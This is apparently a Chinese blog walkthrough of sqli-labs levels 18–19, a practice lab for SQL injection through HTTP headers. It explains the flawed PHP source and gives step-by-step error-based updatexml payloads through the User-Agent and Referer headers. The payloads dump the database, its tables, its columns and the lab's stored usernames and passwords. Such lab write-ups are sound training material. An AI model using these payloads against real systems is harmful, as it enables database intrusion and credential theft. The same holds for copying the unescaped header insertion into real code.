sqli-labs 18-19 --Header_injection
sqli-labs 18
知识点
头部注入
报错注入
使用的函数:
updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
报错注入原理:当XPath_string()不满足格式的时候,会报错并把查询信息放到报错信息里
通常用 ’ ~ ’制造语法错误,编码后为0x7e
报错注入的语句:
updatexml(1,concat(0x7e,(常用sql注入语句),0x7e),1))
源代码
//这里是过滤
function check_input($value)
{
if(!empty($value))
{
$value = substr($value,0,20); // truncation (see comments)
}
if (get_magic_quotes_gpc()) //返回当前 magic_quotes_gpc 配置选项的设置 Stripslashes if magic quotes enabled
{
$value = stripslashes($value);//stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
}
if (!ctype_digit($value)) //用处:检查提供的 string 和 text 里面的字符是不是都是数字。语法:ctype_digit ( string $text ) : bool;
{
$value = "'" . mysql_real_escape_string($value) . "'";
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。下列字符受影响:\x00,\n,\r,\,',",\x1a
//如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
}
else
{
$value = intval($value);//intval() 函数通过使用指定的进制 base 转换(默认是十进制)
}
return $value;
}
//注意这里有对头部的处理
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
//只检查了输入的用户名和密码,没有检查头部
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
/*
echo 'Your Your User name:'. $uname;
echo "<br>";
echo 'Your Password:'. $passwd;
echo "<br>";
echo 'Your User Agent String:'. $uagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;
*/
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Agent:'.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
//注意这里把ip,uagent代入数据库查询了
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error()); //注意这里输出了错误
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
判断
无过滤+代入数据库查询+输出错误=存在sql注入
查询结果显示uagent,ip
可以用报错注入,注入点可以用uagent
尝试了用ip做注入点但是没有结果
构造payload
首先要把原来的语句闭合,根据代码
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
我们要构造一个类似的语句,把原来的ip,uname代替掉,用#注释掉多余的部分
1','1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#

库:security
1','1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#

表:emails,referers,uagents,users
1','1',updatexml(1,concat(0x7e,(select group_concat( column_name ) from information_schema.columns where table_name='users'),0x7e),1))#

users中的字段:id,username,password,ip,time,US
1','1',updatexml(1,concat(0x7e,(select(group_concat(id,0x3a,username,0x3a,password)) from security.users),0x7e),1))#

值:~1:Dumb:Dumb,2:Angelina:I-kill-y
没有完全显示出来,加上substr,一点点读取
1','1',updatexml(1,concat(0x7e,(select substr((select group_concat(id,0x3a,username,0x3a,password) from security.users),20,50)),0x7e),1))#

ina:I-kill-you,3:Dummy:p@ssword

~d,4:secure:crappy,5:stupid:stup

stupid:stupidity,6:superman:gen

uperman:genious,7:batman:mob!le

tman:mob!le,8:admin:admin~
看到~,说明都读完了
~1:Dumb:Dumb,2:Angelina:I-kill-you,3:Dummy:p@ssword,4:secure:crappy,5:stupid:stupidity,6:superman:genious,7:batman:mob!le,8:admin:admin~
sqli-labs 19
和18题基本一样,除了注入点换到了referer,然后payload要减少一个参数,其他都一样
关键源码
$uagent = $_SERVER['HTTP_REFERER'];
uagent里面的值是referer
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
插入语句里一共有两个参数
payload:
1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#
1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
1',updatexml(1,concat(0x7e,(select group_concat( column_name ) from information_schema.columns where table_name='users'),0x7e),1))#
1',updatexml(1,concat(0x7e,(select(group_concat(id,0x3a,username,0x3a,password)) from security.users),0x7e),1))#
1',updatexml(1,concat(0x7e,(select substr((select group_concat(id,0x3a,username,0x3a,password) from security.users),20,50)),0x7e),1))#
sqli-labs 18-19 --Header_injection的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- 毕向东_Java基础视频教程第19天_IO流(18~19)
第19天-18-IO流(流操作规律 - 1) 通过三个步骤来明确"流操作"的规律: 明确数据流的"源和目的" 源, 输入流: InputStream/Reade ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- 《C程序设计语言》练习 1-8,1-9
#include <stdio.h> /*编写一个统计空格,制表符与换行符个数的程序*/ main() { int a,b,c,d;//a表示空格个数,b表示制表符个数,c表示换行符个数 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- 小明很喜欢数学,有一天他在做数学作业时,要求计算出9~16的和,他马上就写出了正确答案是100。但是他并不满足于此,他在想究竟有多少种连续的正数序列的和为100(至少包括两个数)。没多久,他就得到另一组连续正数和为100的序列:18,19,20,21,22。现在把问题交给你,你能不能也很快的找出所有和为S的连续正数序列? Good Luck!
// test20.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include<iostream> #include< ...
- Ubuntu vim+ ctags(包含系统函数) + taglist 配置 分类: vim ubuntu 2015-06-09 18:19 195人阅读 评论(0) 收藏
阅读大型代码,我们经常需要打开很多的代码文件,搜索各种定义.windows下用惯了ide的朋友,转战Linux的时候可能会觉得很难受,找不到合适的阅读工具.其实万能的vim就可以实现.下面介绍一下vi ...
随机推荐
- 如何用FL Studio做电音
电音制作,自然少不了适合做电音的软件,市面上可以进行电音制作的软件不少,可是如果在这些软件中只能选择一款的话,想必多数人会把票投给FL Studio,毕竟高效率是永远不变的真理,今天就让我们来看看如何 ...
- C语言模拟实现先来先服务(FCFS)和短作业优先(SJF)调度算法
说明 该并非实现真正的处理机调度,只是通过算法模拟这两种调度算法的过程. 运行过程如下: 输入进程个数 输入各个进程的到达事件 输入各个进程的要求服务事件 选择一种调度算法 程序给出调度结果:各进程的 ...
- centos7 ping: baidu.com: Name or service not known
虚拟机 centos7配置ip后 ping 网关可以ping 通,但是ping不通外网 baidu.com 报错为: ping: baidu.com: Name or service not know ...
- 痞子衡嵌入式:在IAR开发环境下为工程开启CRC完整性校验功能的方法
大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家分享的是在IAR开发环境下为工程开启CRC完整性校验功能的方法. CRC校验在嵌入式领域里的应用非常广,比如在通信领域,CRC检验值可以作为数据 ...
- Codeforces Round #488 by NEAR (Div. 2)
A 开个桶记录是否出现即可. 时间复杂度 \(O\left(n+m\right)\). B 按能力值从小到大依次加入,然后维护前 \(k\) 大的金币数即可. 时间复杂度 \(O\left(n\log ...
- P3287 [SCOI2014]方伯伯的玉米田
首先可以证明,一定存在一种最优解,每次选择的区间结尾都是 \(n\).因为如果某一个区间结尾不是 \(n\),将其替换成 \(n\) 仍然保持单调不下降.接着都按这个策略拔高玉米. 令 \(f_{i, ...
- Springboot整合WebSocket实现网页版聊天,快来围观!
- 思维导图学《JVM 虚拟机规范》
目录 工具 虚拟机实现 class 文件结构 字节码指令 其他 虚拟机结构 公众号 coding 笔记.点滴记录,以后的文章也会同步到公众号(Coding Insight)中,希望大家关注_ 公众号 ...
- 第3.11节 Python强大的字符串格式化新功能:format字符串格式化的格式控制
第3.11节 format字符串格式化的格式控制 一. 引言 上节介绍了四种format进行字符串格式化的 ...
- PyQt(Python+Qt)学习随笔:QAbstractItemView的dragEnabled和dragDropMode属性的关系
老猿Python博文目录 老猿Python博客地址 在<PyQt(Python+Qt)学习随笔:QAbstractItemView的dragEnabled属性的困惑>中,老猿觉得dragE ...